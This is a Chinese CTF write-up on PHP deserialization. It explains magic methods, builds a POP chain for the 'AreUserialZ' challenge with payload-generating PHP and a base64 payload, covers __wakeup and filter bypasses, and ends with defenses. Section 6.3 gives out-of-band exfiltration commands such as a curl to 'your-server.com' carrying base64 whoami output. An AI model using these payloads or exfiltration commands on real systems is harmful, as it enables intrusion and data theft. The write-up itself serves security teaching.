PHP反序列化漏洞实战:从原理到POP链构造与CTF解题
2026/8/6 10:59:26 网站建设 项目流程

1. 项目概述:一次典型的PHP反序列化漏洞实战复盘

最近在复盘一些经典的CTF题目,网鼎杯青龙组的“AreUserialZ”这道题给我留下了挺深的印象。它不是一个单纯考你背payload的题,而是把PHP反序列化漏洞从触发点到最终利用的完整链条,清晰地铺在了你面前。对于想从“知道有反序列化漏洞”进阶到“能独立分析并利用”的朋友来说,这道题是个绝佳的练手材料。它涉及了魔术方法的触发、POP链的构造、以及如何绕过一些常见的限制,最终实现任意代码执行。如果你正在学习CTF中的Web安全,尤其是对PHP反序列化感到既熟悉又有点无从下手,那么跟着我一起拆解这道题,应该能帮你把那些零散的知识点串联起来,形成一套可复用的实战思路。

2. 漏洞原理与核心概念拆解

在深入题目之前,我们必须把几个核心概念掰扯清楚。很多人在学反序列化时,容易一头扎进复杂的POP链里,却忽略了最基础的原理,导致事倍功半。

2.1 序列化与反序列化到底是什么?

你可以把序列化想象成“打包”。一个PHP对象,里面有各种属性(数据),可能还关联着一些方法(行为)。当你想把这个对象保存到文件里,或者通过网络发给另一台机器时,就需要把它“打包”成一个字符串格式。这个过程就是序列化(serialize())。这个字符串包含了重建这个对象所需的所有信息:类名、属性名、属性值及其类型。

反序列化(unserialize())就是“拆包”。把那个序列化后的字符串“拆开”,根据里面的信息,在内存中重新创建出一个和原来一模一样的对象实例。

问题就出在这个“拆包”的过程中。PHP在反序列化时,并不是简单地创建一块内存放数据就完了。它会自动去调用对象的一些特殊方法,我们称之为“魔术方法”。这就好比你在拆一个快递包裹(反序列化),包裹里除了商品(对象数据),还附了一张说明书,写着“打开后请先检查配件”(调用__wakeup()),“组装完成后请测试功能”(调用__destruct())。PHP会忠实地执行这些“说明书”上的步骤。

2.2 危险的“魔术方法”

正是这些自动执行的魔术方法,成为了漏洞的入口。我们需要重点关注这几个:

  • __wakeup(): 当对象被反序列化时,这个方法会自动调用。常被用来初始化一些资源,但攻击者可以在这里寻找能操纵的代码。
  • __destruct(): 当对象被销毁时(比如脚本执行结束,或对象被unset),这个方法会自动调用。这是构造POP链时最常用的“跳板”之一,因为它的触发非常确定。
  • __toString(): 当一个对象被当作字符串处理时(比如echo $obj;$str = “prefix” . $obj;),这个方法会自动调用。它常常是连接不同对象、串联起POP链的关键枢纽。
  • __get()/__set(): 当访问或修改一个对象不存在的属性时,这些方法会被调用。它们可以用来触发对其它对象方法的调用。

漏洞的本质就是:我们控制了一个序列化字符串,让它在反序列化时,创建出一个我们精心设计的对象。这个对象的属性值被我们恶意填充,当PHP自动调用上述魔术方法时,这些方法内部的代码会以我们恶意设定的属性值作为参数来执行,从而可能导向危险函数(如eval(),system(),file_put_contents()等)的调用。

2.3 什么是POP链?

如果只有一个类,并且它的魔术方法里直接就有危险函数,那题目就太简单了。现实中,危险函数往往藏在深处。POP链(Property-Oriented Programming,面向属性编程)就是解决这个问题的攻击技术。

它的思想是:把多个类的魔术方法像齿轮一样咬合起来,让一个魔术方法的执行,能触发另一个对象的另一个魔术方法,以此传递,最终触发那个藏在最深处的危险函数。

构造POP链就像在玩一个多米诺骨牌。你推倒第一块(触发__destruct),它撞倒第二块(触发某个对象的__toString),第二块又撞倒第三块(触发另一个对象的__get)……直到最后一块骨牌倒下,执行了system(‘cat /flag’)

“AreUserialZ”这道题,就是一个经典的、需要选手自主构造POP链的案例。

3. 题目“AreUserialZ”环境与代码审计

我们拿到一个CTF题目,第一步永远是信息收集和代码审计。假设题目提供了一个源码压缩包或者直接给出了关键源码。

3.1 入口点与漏洞触发位置

通常,题目会有一个明显的反序列化入口。比如一个index.php文件,内容可能如下:

<?php highlight_file(__FILE__); error_reporting(0); class Start { public $name; public $arg = 'welcome'; public function __construct($name){ $this->name = $name; } public function __destruct(){ if($this->name == 'guest') { echo $this->arg; } } } if(isset($_GET['data'])){ @unserialize(base64_decode($_GET['data'])); } else { $obj = new Start('guest'); } ?>

这是一个极度简化的示例,但逻辑很清晰:

  1. 通过GET参数data接收输入。
  2. data进行base64解码后,直接传递给unserialize()函数。这里就是漏洞触发点,因为我们能完全控制反序列化的内容。
  3. 定义了一个Start类,其__destruct方法会检查$this->name,如果等于'guest',就输出$this->arg

我们的目标就是:构造一个序列化字符串,让它反序列化后产生的对象,能在其生命周期内(最终通过__destruct)执行我们想要的任意代码。

3.2 关键类分析与POP链寻找

真实的“AreUserialZ”题目源码会更复杂,会有多个类。我们需要用文本编辑器或IDE打开所有.php文件,全局搜索(Ctrl+Shift+F)以下几个关键词:

  1. __wakeup
  2. __destruct
  3. __toString
  4. __get/__set
  5. 危险函数:eval,assert,system,exec,shell_exec,file_put_contents,file_get_contents,以及回调函数如call_user_func,array_map等。

假设经过审计,我们发现了如下几个关键类(这是基于常见套路模拟的,非原题 exact code):

Class A: 起点类

class A { public $func; public $arg; function __destruct() { if (isset($this->func) && isset($this->arg)) { call_user_func($this->func, $this->arg); } } }

注意call_user_func是一个极其敏感的函数,它允许动态调用函数。如果$this->func'system'$this->arg'id',那么就会执行系统命令。这很可能就是我们POP链的终点(Sink)

Class B: 中转类

class B { public $obj; public $value; function __toString() { if (isset($this->obj)) { $this->obj->{$this->value}(); } return 'toString worked'; } }

注意__toString方法里,尝试将$this->obj当作对象,并调用其名为$this->value的方法。这非常危险,因为它可以触发任意对象的任意无参方法。这通常作为POP链的中转站

Class C: 触发类

class C { public $callback; public $method; function __wakeup() { if (isset($this->callback) && isset($this->method)) { $this->callback->{$this->method}(); } } }

注意__wakeup在反序列化时立即触发。这里它试图调用$this->callback对象的$this->method方法。这可以作为链子的另一个触发点或中转点

Class Info: 看似无害的类

class Info { public $filename; function __get($name) { return $this->$name; } }

注意__get方法在访问不存在属性时触发。虽然这里只是返回属性值,但有时配合其他类能产生奇效。

审计的核心思路是:从终点(Sink)回溯,寻找能通到起点的路径

  1. 找到终点:我们发现A::__destruct()中的call_user_func($this->func, $this->arg)可以执行命令或函数。
  2. 寻找能调用call_user_func或类似函数的地方:目前只看到A类有。
  3. 寻找能触发A类__destruct的方法__destruct是自动触发的,只要A类对象被销毁。所以我们需要让A类对象成为链中的一环。
  4. 寻找能操作或生成A类对象的地方:看B类的__toString,它调用了$this->obj->{$this->value}()。如果$this->obj是一个A类对象,$this->value'__destruct'呢?不行,__destruct不能直接调用。但如果我们让$this->value是一个其他方法,而那个方法内部能触发命令执行?目前A类没有其他方法。看来需要换个思路。
  5. 重新审视B类的__toString:它调用的是$this->obj的某个方法。如果这个方法内部又去操作了其他属性呢?或许我们需要第三个类。
  6. 结合C类:C类的__wakeup会调用$this->callback->{$this->method}()。如果$this->callback是一个B类对象,$this->method'__toString',那么当C对象被反序列化时,就会触发B对象的__toString
  7. 那么B对象的__toString触发后呢?我们需要让B->obj是一个A类对象,B->value设置为一个字符串,这个字符串是A类的一个属性名,而不是方法名。等等,$this->obj->{$this->value}()这种语法,{$this->value}会被先解析,所以$this->value必须是一个方法名。A类除了魔术方法,没有公共方法。这条路似乎走不通。

这个模拟的审计过程展示了真实的思考路径:不断试错、回溯、组合。真正的“AreUserialZ”题目会有一条设计好的、能走通的路径。假设经过更深入的审计,我们找到了一条可行的链:

最终可行的POP链构思

  1. 起点:有一个类X,其__wakeup__destruct里,有一个类似echo $this->abc;的操作。
  2. 如果$this->abc是一个对象,那么PHP会尝试把它转换成字符串,从而触发该对象的__toString方法。
  3. 连接:让$this->abc是一个Y类对象。Y::__toString()方法中,有一行代码如$this->file->getContents();
  4. 如果$this->file是另一个对象,就会调用它的getContents方法。
  5. 终点:假设有一个Z类,其getContents方法内部使用了file_get_contents($this->filename)。如果我们能控制$this->filenamephp://input/flag,就能读取任意文件。

这样,链子就是:X::__destruct()-> (将Y对象当作字符串) ->Y::__toString()->$Y->file->getContents()->Z::getContents()->file_get_contents(可控的filename)

4. POP链构造与Payload生成

假设我们通过审计,确认了如下一条可用的POP链(这是解题的关键步骤):

  1. Flag类的__destruct方法中,有一行:echo $this->msg;
  2. Msg类定义了__toString方法,其中有一行:$this->file->getFlag();
  3. File类有一个getFlag方法,其内容是:readfile($this->filename);

我们的目标就是让readfile读取到/flag文件。

4.1 手动构造序列化字符串

首先,我们需要从链的末端开始,向前构造对象。

步骤1:构造终点File对象

$file_obj = new File(); $file_obj->filename = ‘/flag’; // 我们想读取的目标文件

步骤2:构造中转Msg对象,其file属性指向File对象

$msg_obj = new Msg(); $msg_obj->file = $file_obj; // 关键!将File对象赋值给Msg的file属性

步骤3:构造起点Flag对象,其msg属性指向Msg对象

$flag_obj = new Flag(); $flag_obj->msg = $msg_obj; // 关键!将Msg对象赋值给Flag的msg属性

现在,$flag_obj就是我们的“炸弹”。当它被反序列化后,脚本结束时会触发__destruct(),执行echo $this->msg;。由于$this->msg$msg_obj(一个Msg对象),PHP会调用Msg::__toString()。在__toString里,执行$this->file->getFlag();,而$this->file就是$file_obj(File对象),于是调用File::getFlag(),最终执行readfile(‘/flag’)

步骤4:序列化起点对象

$payload = serialize($flag_obj); echo $payload;

得到的$payload就是一个序列化字符串。它可能长这样(简化表示):O:4:"Flag":1:{s:3:"msg";O:3:"Msg":1:{s:4:"file";O:4:"File":1:{s:8:"filename";s:5:"/flag";}}}

这个字符串就编码了整个对象关系网。

4.2 处理编码与传递

题目入口通常会有编码或过滤。比如“AreUserialZ”可能要求data参数是base64编码的。所以我们需要:

$final_payload = base64_encode($payload); // 得到类似 Tzo0OiJGbGFnIjoxOntzOjM6Im1zZyI7TzozOiJNc2ciOjE6e3M6NDoiZmlsZSI7Tzo0OiJGaWxlIjoxOntzOjg6ImZpbGVuYW1lIjtzOjU6Ii9mbGFnIjt9fX0=

然后通过GET请求传递:http://target.com/?data=Tzo0OiJGbGFnIjoxOntzOjM6Im1zZyI7TzozOiJNc2ciOjE6e3M6NDoiZmlsZSI7Tzo0OiJGaWxlIjoxOntzOjg6ImZpbGVuYW1lIjtzOjU6Ii9mbGFnIjt9fX0=

4.3 使用工具辅助生成

对于更复杂的链,或者属性是private/protected的情况,手动构造序列化字符串容易出错。我们可以写一个PHP脚本来自动化这个过程:

<?php class File { public $filename = ‘/flag’; } class Msg { public $file; public function __construct() { $this->file = new File(); } } class Flag { public $msg; public function __construct() { $this->msg = new Msg(); } } $exp = new Flag(); echo base64_encode(serialize($exp)); ?>

运行这个脚本,就能直接得到最终的payload。这种方法在实战中更高效可靠。

实操心得:在构造payload时,务必注意属性的可见性。如果类中属性定义为private,序列化字符串中会包含类名前缀和空字节(%00),在URL传递时可能需要URL编码。使用脚本生成可以避免这些细节错误。

5. 漏洞利用的进阶技巧与绕过

真实的CTF题目和实战环境不会让你一帆风顺,通常会设置一些“拦路虎”。“AreUserialZ”可能就包含了一些需要绕过的点。

5.1 绕过__wakeup()的失效

在早期PHP版本(<5.6.25, <7.0.10)中,__wakeup()方法有一个著名的绕过漏洞(CVE-2016-7124)。当序列化字符串中,对象属性个数大于实际属性个数时,__wakeup()方法将不会被执行。 例如,一个类只有一个属性$a,正常的序列化是:O:1:"C":1:{s:1:"a";s:1:"b";}。如果把属性个数改成更大的数字,如O:1:"C":2:{s:1:"a";s:1:"b";}__wakeup()就会被跳过。 这在POP链中非常有用,如果__wakeup()方法里有销毁属性或重置状态的代码,会打断我们的链,利用这个CVE就可以绕过它。

注意:这个漏洞在较新的PHP版本中已修复。解题时需要关注题目提供的PHP版本信息(常通过phpinfo()或错误信息泄露)。如果版本较新,此方法无效。

5.2 利用php://filter协议进行读取

有时,目标函数不是system而是file_get_contentsreadfilehighlight_file等文件读取函数。我们虽然能控制文件名,但直接读/flag可能被过滤。这时,php://filter协议就派上用场了。 例如,我们可以尝试读取源码:

filename=php://filter/read=convert.base64-encode/resource=index.php

这会把index.php文件的内容经过base64编码后读出来,避免了直接输出源码时被PHP解析。这对于审计其他未知代码至关重要。

5.3 字符串逃逸与属性注入

这是更高级的技巧,常用于源码中有str_replace等过滤函数时。题目可能会对序列化字符串中的某些关键词进行过滤或替换,改变字符串长度,从而破坏序列化结构。我们可以利用这种破坏,精心构造payload,使得过滤后的字符串恰好能拼接成我们想要的、有效的序列化字符串。 例如,原代码将‘flag’替换为‘hack’,每次替换长度差为1。我们可以通过计算,在payload中预置大量无用字符,使得过滤后这些无用字符恰好被“吞掉”,而后面我们真正的恶意payload能对齐结构,被正确反序列化。这类题目需要对序列化格式有非常深刻的理解。

5.4 利用原生类(PHP Native Classes)

在无法找到用户自定义的合适POP链时,可以转而利用PHP内置的原生类。这些类本身可能就包含危险的魔术方法。

  • SplFileObject: 可以用于读取文件。
    $obj = new SplFileObject(‘/flag’, ‘r’); echo serialize($obj); // 反序列化后,在某些上下文(如被当作字符串)中可能会触发文件读取。
  • Error/Exception**: 它们的__toString方法会打印调用栈,其中可能包含敏感信息路径。
  • SoapClient**: 在特定配置下,可以结合__call魔术方法发起SSRF(Server-Side Request Forgery)攻击。

利用原生类通常需要结合具体的上下文环境,比如有echo一个对象或者有call_user_func等场景。

6. 实战演练与问题排查

假设我们已经构造好了payload并发送,但没有得到预期的结果。这时候就需要系统性地排查。

6.1 常见问题速查表

问题现象可能原因排查思路与解决方案
页面空白或500错误1. Payload格式错误(如属性个数不对)。
2. 类不存在(autoload问题)。
3. PHP版本不兼容(如使用了新版本已移除的特性)。
1. 检查序列化字符串结构,特别是private/protected属性的表示(含%00)。
2. 确认题目包含(include)了所有必要的类文件。有时需要利用题目已有的自动加载机制。
3. 查看题目提供的PHP版本,调整payload语法。
输出了序列化字符串本身或部分对象信息反序列化成功了,但POP链没有执行到预期效果。1.最有效的调试方法:在本地搭建相同环境,将题目源码复制过来,在关键魔术方法中加入echofile_put_contents(‘debug.log’, …)语句,跟踪执行流程。
2. 检查链的每个环节:对象属性赋值是否正确?方法名是否拼写错误?
提示unserialize(): Error at offset …序列化字符串在某个偏移量处解析错误。1. 长度不对。检查所有s:后的数字是否与实际字符串长度一致。
2. 特殊字符(如引号、冒号)未转义。确保payload中的字符串内容没有破坏序列化结构。使用serialize()函数生成最保险。
3. URL传输过程中+号变空格等问题。确保对payload进行正确的URL编码(urlencode())。
执行了但没读到flag1. flag路径不对。
2. 权限不足。
3. 有open_basedir等限制。
1. 尝试常见路径:/flag,/flag.txt,/home/ctf/flag,/var/www/html/flag,../flag
2. 尝试使用php://filter读源码,找线索。
3. 尝试执行命令ls -la /来探测目录和文件。

6.2 本地调试技巧

  1. 搭建最小化环境:在本地PHP环境中,复制题目关键源码。不要复制整个网站,只复制涉及到的类定义和入口文件。
  2. 加入调试输出:在每一个魔术方法(__destruct,__toString,__wakeup)的开头,加上一行:file_put_contents(‘/tmp/debug.log’, ‘进入 ‘ . __CLASS__ . ‘::’ . __METHOD__ . “\n”, FILE_APPEND);。这样就能清晰地看到POP链的执行顺序。
  3. 打印中间状态:在关键方法中,打印$this的属性值,确认是否按我们预期赋值。
  4. 使用xdebug:如果环境允许,配置PHP的Xdebug扩展,进行单步调试,这是最强大的手段。

6.3 无回显场景下的利用

有时候,命令执行或文件读取成功了,但页面没有回显(盲注)。这时需要外带数据(Out-of-Band, OOB)。

  • DNS外带:执行命令如nslookupwhoami.your-domain.com,通过DNS查询记录来获取命令输出。
  • HTTP外带:执行命令如curl http://your-server.com/?=$(whoami|base64),将结果通过HTTP请求发送到你的公网服务器。
  • 延时判断:执行sleep 5命令,通过页面响应时间来判断命令是否执行。

在文件读取且无回显时,可以尝试将文件内容通过上述OOB方式外带,或者写入一个Web可访问的目录(如/tmp/目录下的文件,再通过其他功能点包含或读取)。

7. 防御思路与安全编程建议

分析了这么多攻击手法,从防御者角度,该如何避免这类漏洞呢?

  1. 根本方法:不要反序列化不可信数据。这是最彻底的安全建议。如果业务必须使用序列化,考虑使用JSON等更安全的格式。
  2. 严格校验数据:如果无法避免,必须在反序列化前对数据进行严格的完整性校验和数字签名,确保数据未被篡改。
  3. 使用安全的白名单机制:在反序列化时,使用PHP的allowed_classes参数(unserialize($data, [‘allowed_classes’ => [‘SafeClass1’, ‘SafeClass2’]])),只允许反序列化已知安全的类。
  4. 避免在魔术方法中实现危险逻辑:尤其是__wakeup__destruct,尽量让它们只做无害的资源清理工作,不要包含复杂的业务逻辑。
  5. 对类属性进行类型和范围检查:在魔术方法或普通方法中,对传入的属性值进行严格的类型检查(is_string,is_int)和内容过滤。
  6. 及时更新PHP版本:新版本PHP会修复已知的原生类漏洞和反序列化相关问题(如上述__wakeup绕过漏洞)。
  7. 代码审计:在项目上线前,使用静态代码分析工具(如phpcs配合安全规则、RIPS等)或进行人工审计,查找危险的unserialize()调用和脆弱的魔术方法。

反序列化漏洞的挖掘和利用是一个深度依赖代码审计和逻辑思维的过程。它要求安全研究人员不仅理解漏洞原理,更要像程序员一样理解代码的执行流程和对象间的交互。“AreUserialZ”这样的题目,正是锻炼这种能力的绝佳沙盒。每一次成功的解题,都是对PHP语言特性和面向对象编程思维的一次深化理解。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询